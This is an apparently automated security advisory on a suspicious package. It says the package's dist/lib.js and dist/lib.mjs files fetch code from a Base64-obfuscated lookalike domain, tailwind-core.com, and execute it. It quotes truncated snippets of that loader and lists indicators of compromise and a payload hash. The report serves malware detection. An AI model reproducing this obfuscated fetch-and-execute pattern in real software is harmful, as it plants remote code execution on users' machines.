GCVE-110-OSM-2026-8702

Suspicious package detected. [osmalyze-auto] Payload: dist/lib.js Secondary files: dist/lib.mjs Key findings: - Fetch and Eval/Exec in dist/lib.js: "fetch(Xr("aHR0cHM6Ly90YWlsd2luZC1jb3JlLmNvbQ==")).then(r=>{r.json().then(i=>new ..." - Fetch and Eval/Exec in dist/lib.mjs: "fetch(Dr("aHR0cHM6Ly90YWlsd2luZC1jb3JlLmNvbQ==")).then(i=>{i.json().then(r=>new ..." - Decoded Base64 Content in dist/lib.js - Decoded Base64 Content in dist/lib.mjs - Dynamic Code Execution in dist/lib.js: "exec(e)" IOCs: - urls: https://tailwind-core.com, https://tailwind-core.com/docs/detecting-classes-in-source-files#explicitly-excluding-classes`, https://tailwind-core.com/docs/functions-and-directives#reference-directive`, https://bugs.chromium.org/p/chromium/issues/detail?id=999088, https://bugs.webkit.org/show_bug.cgi?id=201297 (+2 more) - domains: tailwind-core.com, tc39.es, r.group, bugs.chromium.org, bugs.webkit.org - payloadFileHash: c69cb7cdfee8162135477ff1ce7eb4495b3b44b777503bb8ea97b9f035e0e58f Decoded/deobfuscated IOCs: - urls: https://tailwind-core.com - domains: tailwind-core.com